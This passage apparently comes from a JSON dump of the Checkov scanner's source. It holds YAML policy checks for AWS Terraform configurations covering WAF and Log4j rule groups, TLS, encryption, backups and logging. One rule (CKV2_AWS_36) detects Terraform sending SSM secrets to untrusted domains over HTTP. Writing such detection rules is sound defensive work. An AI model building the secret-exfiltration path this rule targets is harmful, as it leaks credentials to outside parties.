    "content": "metadata:\n  id: \"CKV2_AWS_53\"\n  name: \"Ensure AWS API gateway request is validated\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n  - \"aws_api_gateway_method\"\n  attribute: \"request_validator_id\"\n  operator: \"exists\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/APIGatewayWebACLConfiguredWIthLog4jVulnerability.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_77\"\n  name: \"Ensure AWS API Gateway Rest API attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n    - and:\n      - cond_type: filter\n        attribute: resource_type\n        operator: within\n        value:\n          - aws_apigatewayv2_api\n          - aws_api_gateway_stage\n      - cond_type: connection\n        resource_types:\n          - aws_apigatewayv2_api\n          - aws_api_gateway_stage\n        connected_resource_types:\n          - aws_wafv2_web_acl_association\n        operator: not_exists\n    - and:\n      - cond_type: filter\n        attribute: resource_type\n        operator: within\n        value:\n          - aws_apigatewayv2_api\n          - aws_api_gateway_stage\n      - cond_type: connection\n        resource_types:\n          - aws_apigatewayv2_api\n          - aws_api_gateway_stage\n        connected_resource_types:\n          - aws_wafv2_web_acl_association\n        operator: exists\n      - cond_type: connection\n        resource_types:\n          - aws_wafv2_web_acl\n        connected_resource_types:\n          - aws_wafv2_web_acl_association\n        operator: exists\n      - cond_type: attribute\n        resource_types:\n          - aws_wafv2_web_acl\n        attribute: rule.*.statement.managed_rule_group_statement.name\n        operator: contains\n        value: \"AWSManagedRulesAnonymousIpList\"\n      - cond_type: attribute\n        resource_types:\n          - aws_wafv2_web_acl\n        attribute: rule.*.statement.managed_rule_group_statement.name\n        operator: contains\n        value: \"AWSManagedRulesKnownBadInputsRuleSet\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/APIProtectedByWAF.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_29\"\n  name: \"Ensure public API gateway are protected by WAF\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n    - and:\n      - cond_type: attribute\n        resource_types:\n        - aws_api_gateway_rest_api\n        attribute: endpoint_configuration.types\n        operator: contains\n        value: PRIVATE\n      - resource_types:\n        - aws_api_gateway_rest_api\n        connected_resource_types:\n        - aws_api_gateway_stage\n        operator:  exists\n        cond_type: connection\n    - and:\n      - cond_type: attribute\n        resource_types:\n        - aws_api_gateway_rest_api\n        attribute: endpoint_configuration.types\n        operator: contains\n        value: REGIONAL\n      - resource_types:\n        - aws_api_gateway_rest_api\n        connected_resource_types:\n        - aws_api_gateway_stage\n        operator:  exists\n        cond_type: connection\n      - resource_types:\n        - aws_api_gateway_stage\n        connected_resource_types:\n        - aws_wafregional_web_acl_association\n        operator:  exists\n        cond_type: connection\n    - and:\n      - or:\n        - cond_type: attribute\n          resource_types:\n          - aws_api_gateway_rest_api\n          attribute: endpoint_configuration.types\n          operator: contains\n          value: REGIONAL\n        - cond_type: attribute\n          resource_types:\n          - aws_api_gateway_rest_api\n          attribute: endpoint_configuration.types\n          operator: contains\n          value: EDGE\n      - resource_types:\n        - aws_api_gateway_rest_api\n        connected_resource_types:\n        - aws_api_gateway_stage\n        operator:  exists\n        cond_type: connection\n      - resource_types:\n        - aws_api_gateway_stage\n        connected_resource_types:\n        - aws_wafv2_web_acl_association\n        operator:  exists\n        cond_type: connection\n    - and:\n      - resource_types:\n        - aws_api_gateway_rest_api\n        connected_resource_types:\n        - aws_api_gateway_stage\n        operator:  not_exists\n        cond_type: connection\n    - cond_type: filter\n      value:\n      - aws_api_gateway_stage\n      attribute: resource_type\n      operator: within"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/AWSConfigRecorderEnabled.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_45\"\n  name: \"Ensure AWS Config recorder is enabled to record all supported resources\"\n  category: \"LOGGING\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      operator: within\n      value:\n        - aws_config_configuration_recorder_status\n    - cond_type: connection\n      resource_types:\n        - aws_config_configuration_recorder_status\n      connected_resource_types:\n        - aws_config_configuration_recorder\n      operator: exists\n    - cond_type: attribute\n      resource_types:\n        - aws_config_configuration_recorder\n      attribute: recording_group.all_supported\n      operator: not_equals\n      value: \"false\"\n    - cond_type: attribute\n      resource_types:\n        - aws_config_configuration_recorder_status\n      attribute: is_enabled\n      operator: equals\n      value: \"true\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/AWSNATGatewaysshouldbeutilized.yaml",
    "content": "metadata:\n  name: \"AWS NAT Gateways should be utilized for the default route\"\n  id: \"CKV2_AWS_35\"\n  guidelines: \"This policy identifies Route Tables which have NAT instances for the default route instead of NAT gateways. It is recommended to use NAT gateways as the AWS managed NAT Gateway provides a scalable and resilient method for allowing outbound internet traffic from your private VPC subnets.\"\n  category: \"networking\"\nscope:\n  provider: \"aws\"\ndefinition:\n    or:\n        - cond_type: \"attribute\"\n          resource_types:\n          - \"aws_route_table\"\n          attribute: \"route.*.instance_id\"\n          operator: \"not_exists\"\n        - cond_type: \"attribute\"\n          resource_types:\n          - \"aws_route_table\"\n          attribute: \"route.*.instance_id\"\n          operator: \"equals\"\n          value: \"\"\n        - cond_type: \"attribute\"\n          resource_types:\n          - \"aws_route_table\"\n          attribute: \"route.*.cidr_block\"\n          operator: \"not_contains\"\n          value: \"0.0.0.0/0\"\n        - cond_type: \"attribute\"\n          resource_types:\n          - \"aws_route\"\n          attribute: \"instance_id\"\n          operator: \"not_exists\"\n        - cond_type: \"attribute\"\n          resource_types:\n          - \"aws_route\"\n          attribute: \"instance_id\"\n          operator: \"equals\"\n          value: \"\"\n        - cond_type: \"attribute\"\n          resource_types:\n          - \"aws_route\"\n          attribute: \"destination_cidr_block\"\n          operator: \"not_contains\"\n          value: \"0.0.0.0/0\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/AWSSSMParameterShouldBeEncrypted.yaml",
    "content": "metadata:\n  name: \"AWS SSM Parameter should be Encrypted\"\n  id: \"CKV2_AWS_34\"\n  guidelines: \"AWS Systems Manager (SSM) parameters that store sensitive data, for example, passwords, database strings, and permit codes are encrypted so as to meet security and compliance prerequisites. An encrypted SSM parameter is any sensitive information that should be kept and referenced in a protected way.\"\n  category: \"Encryption\"\n  severity: \"medium\"\nscope:\n  provider: \"aws\"\ndefinition:\n    and:\n      - cond_type: \"attribute\"\n        resource_types:\n        - \"aws_ssm_parameter\"\n        attribute: \"type\"\n        operator: \"equals\"\n        value: \"SecureString\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/AWS_private_MWAA_environment.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_66\"\n  name: \"Ensure MWAA environment is not publicly accessible\"\n  category: \"NETWORKING\"\n\ndefinition:\n\n  or:\n\n    - cond_type: \"attribute\"\n      resource_types: \"aws_mwaa_environment\"\n      attribute: \"webserver_access_mode\"\n      operator: \"not_exists\"\n\n    - cond_type: \"attribute\"\n      resource_types: \"aws_mwaa_environment\"\n      attribute: \"webserver_access_mode\"\n      operator: \"equals\"\n      value: \"PRIVATE_ONLY\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/AWSdisableS3ACL.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_65\"\n  name: \"Ensure access control lists for S3 buckets are disabled\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n\n  cond_type: \"attribute\"\n  resource_types: \"aws_s3_bucket_ownership_controls\"\n  attribute: \"rule.object_ownership\"\n  operator: \"equals\"\n  value: \"BucketOwnerEnforced\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/AppLoadBalancerTLS12.yaml",
    "content": "metadata:\n  id: \"CKV_AWS_103\"\n  name: \"Ensure that load balancer is using at least TLS 1.2\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_lb_listener\"\n        - \"aws_alb_listener\"\n      attribute: \"protocol\"\n      operator: \"within\"\n      value:\n        - \"TCP\"\n        - \"UDP\"\n        - \"TCP_UDP\"\n    - and:\n        - cond_type: \"attribute\"\n          resource_types:\n            - \"aws_lb_listener\"\n            - \"aws_alb_listener\"\n          attribute: \"protocol\"\n          operator: \"within\"\n          value:\n            - \"HTTPS\"\n            - \"TLS\"\n        - or:\n            - cond_type: \"attribute\"\n              resource_types:\n                - \"aws_lb_listener\"\n                - \"aws_alb_listener\"\n              attribute: \"ssl_policy\"\n              operator: \"starting_with\"\n              value: \"ELBSecurityPolicy-FS-1-2\"\n            - cond_type: \"attribute\"\n              resource_types:\n                - \"aws_lb_listener\"\n                - \"aws_alb_listener\"\n              attribute: \"ssl_policy\"\n              operator: \"starting_with\"\n              value: \"ELBSecurityPolicy-TLS-1-2\"\n            - cond_type: \"attribute\"\n              resource_types:\n                - \"aws_lb_listener\"\n                - \"aws_alb_listener\"\n              attribute: \"ssl_policy\"\n              operator: \"starting_with\"\n              value: \"ELBSecurityPolicy-TLS13\"\n    - and:\n        - cond_type: \"attribute\"\n          resource_types:\n            - \"aws_lb_listener\"\n            - \"aws_alb_listener\"\n          attribute: \"default_action.type\"\n          operator: \"equals\"\n          value: \"redirect\"\n        - cond_type: \"attribute\"\n          resource_types:\n            - \"aws_lb_listener\"\n            - \"aws_alb_listener\"\n          attribute: \"default_action.redirect.protocol\"\n          operator: \"equals\"\n          value: \"HTTPS\"\n    - and:\n        - resource_types:\n            - \"aws_lb_listener\"\n          connected_resource_types:\n            - \"aws_lb\"\n          operator: exists\n          cond_type: connection\n        - cond_type: attribute\n          resource_types:\n            - aws_lb\n          attribute: load_balancer_type\n          operator: equals\n          value: gateway\n        - cond_type: filter\n          value:\n            - \"aws_lb_listener\"\n          attribute: resource_type\n          operator: within\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/AppSyncProtectedByWAF.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_33\"\n  name: \"Ensure AppSync is protected by WAF\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n  and:\n    - cond_type: filter\n      value:\n        - aws_appsync_graphql_api\n      operator: within\n      attribute: resource_type\n    - cond_type: connection\n      operator: exists\n      resource_types:\n      - aws_appsync_graphql_api\n      connected_resource_types:\n      - aws_wafv2_web_acl_association\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/AppsyncWebACLConfiguredWIthLog4jVulnerability.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_78\"\n  name: \"Ensure AWS AppSync attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n    - and:\n      - cond_type: filter\n        attribute: resource_type\n        operator: within\n        value:\n          - aws_appsync_graphql_api\n      - cond_type: connection\n        resource_types:\n          - aws_appsync_graphql_api\n        connected_resource_types:\n          - aws_wafv2_web_acl_association\n        operator: not_exists\n    - and:\n      - cond_type: filter\n        attribute: resource_type\n        operator: within\n        value:\n          - aws_appsync_graphql_api\n      - cond_type: connection\n        resource_types:\n          - aws_appsync_graphql_api\n        connected_resource_types:\n          - aws_wafv2_web_acl_association\n        operator: exists\n      - cond_type: connection\n        resource_types:\n          - aws_wafv2_web_acl\n        connected_resource_types:\n          - aws_wafv2_web_acl_association\n        operator: exists\n      - cond_type: attribute\n        resource_types:\n          - aws_wafv2_web_acl\n        attribute: rule.*.statement.managed_rule_group_statement.name\n        operator: contains\n        value: \"AWSManagedRulesAnonymousIpList\"\n      - cond_type: attribute\n        resource_types:\n          - aws_wafv2_web_acl\n        attribute: rule.*.statement.managed_rule_group_statement.name\n        operator: contains\n        value: \"AWSManagedRulesKnownBadInputsRuleSet\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/AutoScalingEnableOnDynamoDBTables.yaml",
    "content": "metadata:\n  name: \"Ensure that Auto Scaling is enabled on your DynamoDB tables\"\n  id: \"CKV2_AWS_16\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  or:\n    - and:\n      - cond_type: filter\n        attribute: resource_type\n        value:\n          - aws_dynamodb_table\n        operator: within\n      - cond_type: connection\n        resource_types:\n          - aws_dynamodb_table\n        connected_resource_types:\n          - aws_appautoscaling_target\n        operator: exists\n      - cond_type: connection\n        resource_types:\n          - aws_appautoscaling_target\n        connected_resource_types:\n          - aws_appautoscaling_policy\n        operator: exists\n      - or:\n        - cond_type: attribute\n          resource_types:\n            - aws_dynamodb_table\n          attribute: billing_mode\n          operator: equals\n          value: PROVISIONED\n        - cond_type: attribute\n          resource_types:\n            - aws_dynamodb_table\n          attribute: billing_mode\n          operator: not_exists\n      - cond_type: attribute\n        resource_types:\n          - aws_appautoscaling_target\n        attribute: service_namespace\n        operator: equals\n        value: dynamodb\n    - cond_type: attribute\n      resource_types:\n        - aws_dynamodb_table\n      attribute: billing_mode\n      operator: equals\n      value: PAY_PER_REQUEST\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/AutoScallingEnabledELB.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_15\"\n  name: \"Ensure that auto Scaling groups that are associated with a load balancer are using Elastic Load Balancing health checks.\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - aws_autoscaling_attachment\n      operator: within\n    - cond_type: attribute\n      resource_types:\n          - aws_autoscaling_group\n      attribute: health_check_type\n      operator: equals\n      value: \"ELB\"\n    - resource_types:\n        - aws_autoscaling_group\n      connected_resource_types:\n        - aws_autoscaling_attachment\n      operator:  exists\n      cond_type: connection\n    - or:\n        - and:\n            - resource_types:\n                - aws_elb\n              connected_resource_types:\n                - aws_autoscaling_attachment\n              operator:  exists\n              cond_type: connection\n            - cond_type: attribute\n              resource_types:\n                  - aws_elb\n              attribute: health_check\n              operator: exists\n        - and:\n            - resource_types:\n                - aws_lb_target_group\n              connected_resource_types:\n                - aws_autoscaling_attachment\n              operator:  exists\n              cond_type: connection\n            - cond_type: attribute\n              resource_types:\n                  - aws_lb_target_group\n              attribute: health_check\n              operator: exists\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/CLoudFrontS3OriginConfigWithOAI.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_46\"\n  name: \"Ensure AWS CloudFront Distribution with S3 have Origin Access set to enabled\"\n  category: \"IAM\"\ndefinition:\n  or:\n    - and:\n        - cond_type: filter\n          attribute: resource_type\n          operator: within\n          value:\n            - aws_cloudfront_distribution\n        - cond_type: connection\n          resource_types:\n            - aws_cloudfront_distribution\n          connected_resource_types:\n            - aws_s3_bucket\n          operator: not_exists\n    - cond_type: attribute\n      resource_types:\n        - aws_cloudfront_distribution\n      attribute: \"origin.*.s3_origin_config\"\n      operator: \"exists\"\n    - cond_type: attribute\n      resource_types:\n        - aws_cloudfront_distribution\n      attribute: \"origin.*.origin_access_control_id\"\n      operator: \"exists\"         \n        \n    "
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/CloudFrontHasCustomSSLCertificate.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_42\"\n  name: \"Ensure AWS CloudFront distribution uses custom SSL certificate\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n  - cond_type: \"attribute\"\n    resource_types:\n     - \"aws_cloudfront_distribution\"\n    attribute: \"viewer_certificate.iam_certificate_id\"\n    operator: \"exists\"\n  - cond_type: \"attribute\"\n    resource_types:\n     - \"aws_cloudfront_distribution\"\n    attribute: \"viewer_certificate.acm_certificate_arn\"\n    operator: \"exists\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/CloudFrontHasResponseHeadersPolicy.yaml",
    "content": "# ref: https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/creating-response-headers-policies.html\nmetadata:\n  id: \"CKV2_AWS_32\"\n  name: \"Ensure CloudFront distribution has a response headers policy attached\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - cond_type: filter\n      value:\n        - aws_cloudfront_distribution\n      operator: within\n      attribute: resource_type\n    - cond_type: connection\n      operator: exists\n      resource_types:\n      - aws_cloudfront_distribution\n      connected_resource_types:\n      - aws_cloudfront_response_headers_policy\n      - data.aws_cloudfront_response_headers_policy\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/CloudFrontUsesSecureProtocolsForHTTPS.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_54\"\n  name: \"Ensure AWS CloudFront distribution is using secure SSL protocols for HTTPS communication\"\n  category: \"NETWORKING\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n  - \"aws_cloudfront_distribution\"\n  attribute: \"origin.*.custom_origin_config.origin_ssl_protocols\"\n  operator: \"not_contains\"\n  value: \"SSLv3\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/CloudFrontWebACLConfiguredWIthLog4jVulnerability.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_47\"\n  name: \"Ensure AWS CloudFront attached WAFv2 WebACL is configured with AMR for Log4j Vulnerability\"\n  category: \"APPLICATION_SECURITY\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      operator: within\n      value:\n        - aws_cloudfront_distribution\n    - cond_type: connection\n      resource_types:\n        - aws_cloudfront_distribution\n      connected_resource_types:\n        - aws_wafv2_web_acl\n      operator: exists\n    - cond_type: attribute\n      resource_types:\n        - aws_wafv2_web_acl\n      attribute: rule.*.statement.managed_rule_group_statement.name\n      operator: contains\n      value: \"AWSManagedRulesAnonymousIpList\"\n    - cond_type: attribute\n      resource_types:\n        - aws_wafv2_web_acl\n      attribute: rule.*.statement.managed_rule_group_statement.name\n      operator: contains\n      value: \"AWSManagedRulesKnownBadInputsRuleSet\"\n      "
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/CloudfrontOriginNotHTTPSOnly.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_72\"\n  name: \"Ensure AWS CloudFront origin protocol policy enforces HTTPS-only\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_cloudfront_distribution\"\n      attribute: \"enabled\"\n      operator: \"equals\"\n      value: \"false\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_cloudfront_distribution\"\n      attribute: \"origin.*.custom_origin_config\"\n      operator: \"not_exists\"\n    - and:\n      - cond_type: \"attribute\"\n        resource_types:\n          - \"aws_cloudfront_distribution\"\n        attribute: origin[?(@.custom_origin_config.origin_protocol_policy != 'https-only')].domain_name\n        operator: \"jsonpath_not_contains\"\n        value: \".mediastore.\"\n      - cond_type: \"attribute\"\n        resource_types:\n          - \"aws_cloudfront_distribution\"\n        attribute: origin[?(@.custom_origin_config.origin_protocol_policy != 'https-only')].domain_name\n        operator: \"jsonpath_not_contains\"\n        value: \".mediapackage.\"\n      - cond_type: \"attribute\"\n        resource_types:\n          - \"aws_cloudfront_distribution\"\n        attribute: origin[?(@.custom_origin_config.origin_protocol_policy != 'https-only')].domain_name\n        operator: \"jsonpath_not_contains\"\n        value: \".elb.\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/CloudtrailHasCloudwatch.yaml",
    "content": "metadata:\n  name: \"Ensure CloudTrail trails are integrated with CloudWatch Logs\"\n  id: \"CKV2_AWS_10\"\n  category: \"LOGGING\"\ndefinition:\n    and:\n      - cond_type: filter\n        attribute: resource_type\n        value:\n          - aws_cloudtrail\n        operator: within\n      - cond_type: connection\n        resource_types:\n           - aws_cloudtrail\n        connected_resource_types:\n           - aws_cloudwatch_log_group\n        operator: exists\n      - cond_type: attribute\n        resource_types:\n           - aws_cloudtrail\n        attribute: cloud_watch_logs_group_arn\n        operator: exists"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/CodecommitApprovalRulesAttached.yaml",
    "content": "metadata:\n  name: \"Ensure CodeCommit associates an approval rule\"\n  category: \"GENERAL_SECURITY\"\n  id: \"CKV2_AWS_37\"\nscope:\n  provider: \"AWS\"\ndefinition:\n  and:\n    - resource_types:\n        - aws_codecommit_repository\n      connected_resource_types:\n        - aws_codecommit_approval_rule_template_association\n      operator: exists\n      cond_type: connection\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - aws_codecommit_repository\n      operator: within\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/ConfigRecorderRecordsAllGlobalResources.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_48\"\n  name: \"Ensure AWS Config must record all possible resources\"\n  category: \"LOGGING\"\ndefinition:\n  cond_type: attribute\n  resource_types:\n    - aws_config_configuration_recorder\n  attribute: recording_group.include_global_resource_types\n  operator: equals\n  value: \"true\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/DMSEndpointHaveSSLConfigured.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_49\"\n  name: \"Ensure AWS Database Migration Service endpoints have SSL configured\"\n  category: \"NETWORKING\"\ndefinition:\n  or:\n    - and:\n        - cond_type: \"attribute\"\n          resource_types:\n          - \"aws_dms_endpoint\"\n          attribute: \"endpoint_type\"\n          operator: \"equals\"\n          value: \"source\"\n        - or:\n            - cond_type: \"attribute\"\n              resource_types:\n              - \"aws_dms_endpoint\"\n              attribute: \"engine_name\"\n              operator: \"subset\"\n              value: \n                - \"s3\"\n                - \"azuredb\"\n            - cond_type: \"attribute\"\n              resource_types:\n              - \"aws_dms_endpoint\"\n              attribute: \"ssl_mode\"\n              operator: \"not_equals\"\n              value: \"none\" \n    - and:\n        - cond_type: \"attribute\"\n          resource_types:\n          - \"aws_dms_endpoint\"\n          attribute: \"endpoint_type\"\n          operator: \"equals\"\n          value: \"target\"\n        - or:\n            - cond_type: \"attribute\"\n              resource_types:\n              - \"aws_dms_endpoint\"\n              attribute: \"engine_name\"\n              operator: \"subset\"\n              value: \n                - \"dynamodb\"\n                - \"kinesis\"\n                - \"neptune\"\n                - \"redshift\"\n                - \"s3\"\n                - \"elasticsearch\"\n                - \"kafka\"\n            - cond_type: \"attribute\"\n              resource_types:\n              - \"aws_dms_endpoint\"\n              attribute: \"ssl_mode\"\n              operator: \"not_equals\"\n              value: \"none\"\n    - cond_type: \"attribute\"\n      resource_types:\n        - \"aws_dms_endpoint\"\n      attribute: \"endpoint_type\"\n      operator: \"not_within\"\n      value:\n        - \"source\"\n        - \"target\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/EBSAddedBackup.yaml",
    "content": "metadata:\n  name: \"Ensure that EBS are added in the backup plans of AWS Backup\"\n  id: \"CKV2_AWS_9\"\n  category: \"BACKUP_AND_RECOVERY\"\ndefinition:\n  and:\n    - cond_type: connection\n      resource_types:\n        - aws_backup_selection\n      connected_resource_types:\n        - aws_ebs_volume\n      operator: exists\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - aws_ebs_volume\n      operator: within"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/EC2InstanceHasIAMRoleAttached.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_41\"\n  name: \"Ensure an IAM role is attached to EC2 instance\"\n  category: \"IAM\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n  - \"aws_instance\"\n  attribute: \"iam_instance_profile\"\n  operator: \"exists\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/EFSAddedBackup.yaml",
    "content": "metadata:\n  name: \"Ensure that Elastic File System (Amazon EFS) file systems are added in the backup plans of AWS Backup\"\n  id: \"CKV2_AWS_18\"\n  category: \"BACKUP_AND_RECOVERY\"\ndefinition:\n  and:\n    - cond_type: connection\n      resource_types:\n        - aws_backup_selection\n      connected_resource_types:\n        - aws_efs_file_system\n        - aws_backup_plan\n      operator: exists\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - aws_efs_file_system\n      operator: within"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/EIPAllocatedToVPCAttachedEC2.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_19\"\n  name: \"Ensure that all EIP addresses allocated to a VPC are attached to EC2 instances\"\n  category: \"NETWORKING\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - aws_eip\n      operator: within\n    - or:\n        - cond_type: attribute\n          resource_types:\n            - aws_eip\n          attribute: vpc\n          operator: equals\n          value: true\n        - cond_type: attribute\n          resource_types:\n            - aws_eip\n          attribute: domain\n          operator: equals\n          value: vpc\n    - or:\n        - resource_types:\n            - aws_eip\n          connected_resource_types:\n            - aws_instance\n          operator: exists\n          cond_type: connection\n        - and:\n            - resource_types:\n                - aws_eip_association\n              connected_resource_types:\n                - aws_instance\n                - aws_eip\n              operator: exists\n              cond_type: connection\n            - cond_type: attribute\n              resource_types:\n                - aws_eip_association\n              attribute: instance_id\n              operator: exists\n        - resource_types:\n            - aws_eip\n          connected_resource_types:\n            - aws_nat_gateway\n          operator: exists\n          cond_type: connection\n        - resource_types:\n            - aws_eip\n          connected_resource_types:\n            - aws_transfer_server\n          operator: exists\n          cond_type: connection\n        - cond_type: attribute\n          resource_types:\n          - aws_eip\n          attribute: instance\n          operator: contains\n          value: \"module.\"\n        - cond_type: attribute\n          resource_types:\n          - aws_eip\n          attribute: instance\n          operator: contains\n          value: \"data.\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/EMRClusterHasSecurityConfiguration.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_55\"\n  name: \"Ensure AWS EMR cluster is configured with security configuration\"\n  category: \"ENCRYPTION\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n  - \"aws_emr_cluster\"\n  attribute: \"security_configuration\"\n  operator: \"exists\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/ElastiCacheRedisConfiguredAutomaticFailOver.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_50\"\n  name: \"Ensure AWS ElastiCache Redis cluster with Multi-AZ Automatic Failover feature set to enabled\"\n  category: \"BACKUP_AND_RECOVERY\"\ndefinition:\n  cond_type: \"attribute\"\n  resource_types:\n    - \"aws_elasticache_replication_group\"\n  attribute: \"automatic_failover_enabled\"\n  operator: \"equals\"\n  value: \"true\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/ElasticSearchDedicatedMasterEnabled.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_59\"\n  name: \"Ensure ElasticSearch/OpenSearch has dedicated master node enabled\"\n  category: \"GENERAL_SECURITY\"\n\ndefinition:\n  cond_type: attribute\n  resource_types: \n    - \"aws_opensearch_domain\"\n    - \"aws_elasticsearch_domain\"\n  attribute: \"cluster_config.dedicated_master_enabled\"\n  operator: \"equals\"\n  value: \"true\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/EncryptedEBSVolumeOnlyConnectedToEC2s.yaml",
    "content": "metadata:\n  name: \"Ensure that only encrypted EBS volumes are attached to EC2 instances\"\n  category: \"ENCRYPTION\"\n  id: \"CKV2_AWS_2\"\ndefinition:\n  and:\n    - or:\n      - cond_type: \"connection\"\n        resource_types:\n          - \"aws_volume_attachment\"\n        connected_resource_types:\n          - \"aws_ebs_volume\"\n        operator: \"not_exists\"\n      - and:\n          - cond_type: \"attribute\"\n            resource_types:\n              - \"aws_ebs_volume\"\n            attribute: \"encrypted\"\n            operator: \"equals\"\n            value: true\n          - cond_type: \"connection\"\n            resource_types:\n              - \"aws_volume_attachment\"\n            connected_resource_types:\n              - \"aws_ebs_volume\"\n            operator: \"exists\"\n    - cond_type: \"filter\"\n      attribute: \"resource_type\"\n      value:\n        - \"aws_ebs_volume\"\n      operator: \"within\""
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/GuardDutyIsEnabled.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_3\"\n  name: \"Ensure GuardDuty is enabled to specific org/region\"\n  category: \"GENERAL_SECURITY\"\ndefinition:\n  and:\n    - cond_type: filter\n      attribute: resource_type\n      value:\n        - aws_guardduty_detector\n      operator: within\n    - resource_types:\n        - aws_guardduty_detector\n      connected_resource_types:\n        - aws_guardduty_organization_configuration\n      operator:  exists\n      cond_type: connection\n    - cond_type: \"attribute\"\n      resource_types: \n        - aws_guardduty_detector\n      attribute: enable\n      operator: equals\n      value: true\n    - or:\n        - cond_type: \"attribute\"\n          resource_types:\n            - aws_guardduty_organization_configuration\n          attribute: auto_enable\n          operator: equals\n          value: true\n        - cond_type: \"attribute\"\n          resource_types:\n            - aws_guardduty_organization_configuration\n          attribute: auto_enable_organization_members\n          operator: within\n          value:\n            - \"ALL\"\n            - \"NEW\"\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/HTTPNotSendingPasswords.yaml",
    "content": "metadata:\n  id: \"CKV2_AWS_36\"\n  name: \"Ensure terraform is not sending SSM secrets to untrusted domains over HTTP\"\n  category: \"SUPPLY_CHAIN\"\n# inspired by: https://sprocketfox.io/xssfox/2022/02/09/terraformsupply/\ndefinition:\n  or:\n    - and:\n        - cond_type: connection\n          operator: exists\n          resource_types:\n            - data.http\n          connected_resource_types:\n            - aws_ssm_parameter\n        - cond_type: attribute\n          value: \"SecureString\"\n          attribute: type\n          resource_types:\n            - aws_ssm_parameter\n          operator: not_equals\n        - cond_type: filter\n          attribute: resource_type\n          value:\n            - data.http\n          operator: within\n    - and:\n        - cond_type: connection\n          operator: not_exists\n          resource_types:\n            - data.http\n          connected_resource_types:\n            - aws_ssm_parameter\n        - cond_type: filter\n          attribute: resource_type\n          value:\n            - data.http\n          operator: within\n\n"
  },
  {
    "path": "checkov/terraform/checks/graph_checks/aws/IAMGroupHasAtLeastOneUser.yaml",
